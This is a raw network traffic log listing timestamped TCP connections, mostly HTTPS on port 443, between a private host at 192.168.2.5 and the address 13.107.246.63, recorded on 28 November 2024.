Nov 28, 2024 06:49:40.033113003 CET	49988	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:40.034657001 CET	49988	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:40.034673929 CET	443	49988	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:40.050440073 CET	443	49985	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:40.050873995 CET	49985	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:40.050890923 CET	443	49985	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:40.051352978 CET	49985	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:40.051357985 CET	443	49985	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:40.301254988 CET	443	49986	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:40.301812887 CET	49986	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:40.301831007 CET	443	49986	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:40.302330971 CET	49986	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:40.302337885 CET	443	49986	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:40.323132992 CET	443	49984	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:40.323205948 CET	443	49984	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:40.323261976 CET	49984	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:40.323271990 CET	443	49984	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:40.323513985 CET	49984	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:40.323520899 CET	443	49984	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:40.323534012 CET	49984	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:40.323906898 CET	443	49984	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:40.323990107 CET	443	49984	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:40.324035883 CET	49984	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:40.327143908 CET	49989	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:40.327173948 CET	443	49989	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:40.327244997 CET	49989	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:40.327368975 CET	49989	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:40.327383041 CET	443	49989	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:40.510634899 CET	443	49985	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:40.514101028 CET	443	49985	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:40.514141083 CET	443	49985	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:40.514153957 CET	49985	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:40.514197111 CET	49985	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:40.514220953 CET	49985	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:40.514230013 CET	443	49985	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:40.514240026 CET	49985	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:40.514246941 CET	443	49985	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:40.517560005 CET	49990	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:40.517597914 CET	443	49990	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:40.517671108 CET	49990	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:40.517826080 CET	49990	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:40.517839909 CET	443	49990	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:40.753125906 CET	443	49986	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:40.753149986 CET	443	49986	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:40.753197908 CET	443	49986	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:40.753221035 CET	49986	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:40.753248930 CET	49986	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:40.753591061 CET	49986	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:40.753613949 CET	443	49986	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:40.753633022 CET	49986	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:40.753638983 CET	443	49986	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:40.758712053 CET	49991	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:40.758744955 CET	443	49991	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:40.758802891 CET	49991	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:40.759287119 CET	49991	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:40.759298086 CET	443	49991	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:41.283567905 CET	443	49987	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:41.284115076 CET	49987	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:41.284138918 CET	443	49987	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:41.284609079 CET	49987	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:41.284615040 CET	443	49987	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:41.740644932 CET	443	49987	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:41.744115114 CET	443	49987	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:41.747493029 CET	49987	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:41.747550011 CET	49987	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:41.747569084 CET	443	49987	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:41.747580051 CET	49987	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:41.747586012 CET	443	49987	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:41.750605106 CET	49992	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:41.750641108 CET	443	49992	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:41.751497984 CET	49992	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:41.751676083 CET	49992	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:41.751688957 CET	443	49992	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:41.824799061 CET	443	49988	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:41.825368881 CET	49988	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:41.825396061 CET	443	49988	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:41.825927019 CET	49988	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:41.825932026 CET	443	49988	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:42.066534996 CET	443	49989	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:42.096616030 CET	49989	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:42.096641064 CET	443	49989	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:42.097096920 CET	49989	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:42.097103119 CET	443	49989	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:42.277441978 CET	443	49988	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:42.280735970 CET	443	49988	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:42.280807018 CET	49988	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:42.280867100 CET	49988	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:42.280889034 CET	443	49988	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:42.280903101 CET	49988	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:42.280908108 CET	443	49988	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:42.283720016 CET	49993	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:42.283756018 CET	443	49993	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:42.283829927 CET	49993	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:42.283987999 CET	49993	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:42.283998966 CET	443	49993	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:42.307900906 CET	443	49990	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:42.308314085 CET	49990	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:42.308327913 CET	443	49990	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:42.308912992 CET	49990	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:42.308917046 CET	443	49990	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:42.508774996 CET	443	49989	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:42.511960030 CET	443	49989	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:42.512022972 CET	49989	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:42.512064934 CET	49989	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:42.512082100 CET	443	49989	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:42.512094021 CET	49989	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:42.512099028 CET	443	49989	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:42.515091896 CET	49994	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:42.515119076 CET	443	49994	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:42.515208960 CET	49994	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:42.515383005 CET	49994	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:42.515394926 CET	443	49994	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:42.558017015 CET	443	49991	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:42.558615923 CET	49991	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:42.558629990 CET	443	49991	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:42.559016943 CET	49991	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:42.559020996 CET	443	49991	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:42.759609938 CET	443	49990	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:42.763053894 CET	443	49990	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:42.763118029 CET	49990	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:42.763134956 CET	443	49990	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:42.763176918 CET	443	49990	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:42.763228893 CET	49990	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:42.763288021 CET	49990	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:42.763288021 CET	49990	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:42.763303995 CET	443	49990	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:42.763318062 CET	443	49990	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:42.766066074 CET	49995	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:42.766096115 CET	443	49995	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:42.766174078 CET	49995	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:42.766314983 CET	49995	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:42.766319036 CET	443	49995	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:43.011281013 CET	443	49991	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:43.014482021 CET	443	49991	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:43.014564991 CET	49991	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:43.014601946 CET	49991	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:43.014615059 CET	443	49991	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:43.014635086 CET	49991	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:43.014646053 CET	443	49991	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:43.017689943 CET	49996	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:43.017736912 CET	443	49996	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:43.017803907 CET	49996	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:43.017949104 CET	49996	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:43.017966986 CET	443	49996	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:43.477972031 CET	443	49992	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:43.482017040 CET	49992	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:43.482036114 CET	443	49992	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:43.482511997 CET	49992	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:43.482517958 CET	443	49992	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:43.920903921 CET	443	49992	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:43.924163103 CET	443	49992	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:43.924205065 CET	443	49992	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:43.924211025 CET	49992	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:43.924268007 CET	49992	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:43.924369097 CET	49992	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:43.924377918 CET	443	49992	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:43.924390078 CET	49992	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:43.924396038 CET	443	49992	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:43.927927017 CET	49997	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:43.927944899 CET	443	49997	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:43.928003073 CET	49997	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:43.928153038 CET	49997	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:43.928164959 CET	443	49997	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:44.378814936 CET	443	49994	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:44.379653931 CET	49994	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:44.379662037 CET	443	49994	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:44.380178928 CET	49994	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:44.380183935 CET	443	49994	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:44.559828043 CET	443	49995	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:44.560317039 CET	49995	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:44.560336113 CET	443	49995	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:44.560785055 CET	49995	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:44.560790062 CET	443	49995	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:44.808934927 CET	443	49996	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:44.809674978 CET	49996	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:44.809703112 CET	443	49996	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:44.810178041 CET	49996	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:44.810184956 CET	443	49996	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:44.841233015 CET	443	49994	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:44.844314098 CET	443	49994	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:44.844383001 CET	49994	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:44.844396114 CET	443	49994	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:44.844435930 CET	443	49994	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:44.844487906 CET	49994	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:44.844517946 CET	49994	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:44.844523907 CET	443	49994	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:44.844535112 CET	49994	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:44.844538927 CET	443	49994	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:44.847625017 CET	49998	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:44.847671986 CET	443	49998	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:44.847734928 CET	49998	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:44.847878933 CET	49998	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:44.847894907 CET	443	49998	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:45.012096882 CET	443	49995	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:45.015254974 CET	443	49995	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:45.015328884 CET	49995	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:45.015377045 CET	49995	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:45.015383005 CET	443	49995	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:45.015393019 CET	49995	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:45.015397072 CET	443	49995	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:45.018505096 CET	49999	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:45.018517017 CET	443	49999	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:45.018641949 CET	49999	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:45.018754959 CET	49999	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:45.018764973 CET	443	49999	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:45.310420990 CET	443	49993	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:45.311317921 CET	49993	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:45.311328888 CET	443	49993	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:45.311816931 CET	49993	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:45.311820984 CET	443	49993	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:45.409285069 CET	443	49996	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:45.409333944 CET	443	49996	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:45.409398079 CET	49996	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:45.409722090 CET	49996	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:45.409739971 CET	443	49996	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:45.409754992 CET	49996	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:45.409760952 CET	443	49996	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:45.413032055 CET	50000	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:45.413054943 CET	443	50000	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:45.413120985 CET	50000	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:45.413326979 CET	50000	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:45.413338900 CET	443	50000	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:45.814548016 CET	443	49997	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:45.815124989 CET	49997	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:45.815141916 CET	443	49997	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:45.815656900 CET	49997	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:45.815669060 CET	443	49997	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:46.267426014 CET	443	49997	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:46.270607948 CET	443	49997	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:46.273783922 CET	49997	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:46.273827076 CET	49997	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:46.273832083 CET	443	49997	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:46.273839951 CET	49997	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:46.273844004 CET	443	49997	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:46.276617050 CET	50001	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:46.276634932 CET	443	50001	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:46.276726961 CET	50001	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:46.276880980 CET	50001	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:46.276891947 CET	443	50001	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:46.580318928 CET	443	49998	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:46.580868959 CET	49998	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:46.580900908 CET	443	49998	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:46.581350088 CET	49998	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:46.581356049 CET	443	49998	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:46.788852930 CET	443	49999	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:46.789397001 CET	49999	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:46.789410114 CET	443	49999	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:46.789910078 CET	49999	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:46.789916039 CET	443	49999	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:46.892503977 CET	443	49993	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:46.895617008 CET	443	49993	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:46.898713112 CET	49993	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:46.898763895 CET	49993	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:46.898773909 CET	443	49993	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:46.902378082 CET	50002	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:46.902393103 CET	443	50002	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:46.902492046 CET	50002	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:46.902627945 CET	50002	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:46.902642965 CET	443	50002	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:47.022700071 CET	443	49998	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:47.025959015 CET	443	49998	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:47.026031971 CET	49998	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:47.026093960 CET	49998	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:47.026120901 CET	443	49998	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:47.026134968 CET	49998	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:47.026140928 CET	443	49998	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:47.029277086 CET	50003	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:47.029294014 CET	443	50003	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:47.029489040 CET	50003	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:47.029681921 CET	50003	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:47.029695034 CET	443	50003	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:47.232217073 CET	443	49999	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:47.236547947 CET	443	49999	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:47.236620903 CET	49999	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:47.236659050 CET	49999	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:47.236665010 CET	443	49999	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:47.236674070 CET	49999	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:47.236677885 CET	443	49999	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:47.239794016 CET	50004	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:47.239804029 CET	443	50004	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:47.239885092 CET	50004	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:47.240034103 CET	50004	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:47.240044117 CET	443	50004	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:47.254699945 CET	443	49959	23.44.201.7	192.168.2.5
Nov 28, 2024 06:49:47.254760027 CET	443	49959	23.44.201.7	192.168.2.5
Nov 28, 2024 06:49:47.255187988 CET	49959	443	192.168.2.5	23.44.201.7
Nov 28, 2024 06:49:47.294764996 CET	443	50000	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:47.295375109 CET	50000	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:47.295383930 CET	443	50000	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:47.295871973 CET	50000	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:47.295876026 CET	443	50000	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:47.756491899 CET	443	50000	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:47.759844065 CET	443	50000	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:47.759879112 CET	443	50000	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:47.759938955 CET	50000	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:47.759958029 CET	50000	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:47.760031939 CET	50000	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:47.760046005 CET	443	50000	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:47.760055065 CET	50000	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:47.760059118 CET	443	50000	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:47.763103962 CET	50005	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:47.763150930 CET	443	50005	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:47.763221979 CET	50005	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:47.763403893 CET	50005	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:47.763421059 CET	443	50005	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:48.020292997 CET	443	50001	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:48.021015882 CET	50001	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:48.021034956 CET	443	50001	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:48.021547079 CET	50001	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:48.021550894 CET	443	50001	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:48.462637901 CET	443	50001	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:48.465842962 CET	443	50001	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:48.465909004 CET	50001	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:48.465971947 CET	50001	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:48.465985060 CET	443	50001	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:48.465993881 CET	50001	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:48.465998888 CET	443	50001	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:48.469440937 CET	50006	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:48.469469070 CET	443	50006	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:48.469532013 CET	50006	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:48.469703913 CET	50006	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:48.469715118 CET	443	50006	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:48.758445024 CET	443	50002	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:48.759175062 CET	50002	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:48.759197950 CET	443	50002	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:48.759789944 CET	50002	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:48.759794950 CET	443	50002	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:48.895057917 CET	443	50003	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:48.895839930 CET	50003	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:48.895853996 CET	443	50003	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:48.896214962 CET	50003	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:48.896220922 CET	443	50003	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:49.037271976 CET	443	50004	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:49.037972927 CET	50004	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:49.037990093 CET	443	50004	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:49.038480997 CET	50004	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:49.038486004 CET	443	50004	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:49.219486952 CET	443	50002	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:49.222778082 CET	443	50002	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:49.222820997 CET	443	50002	13.107.246.63	192.168.2.5
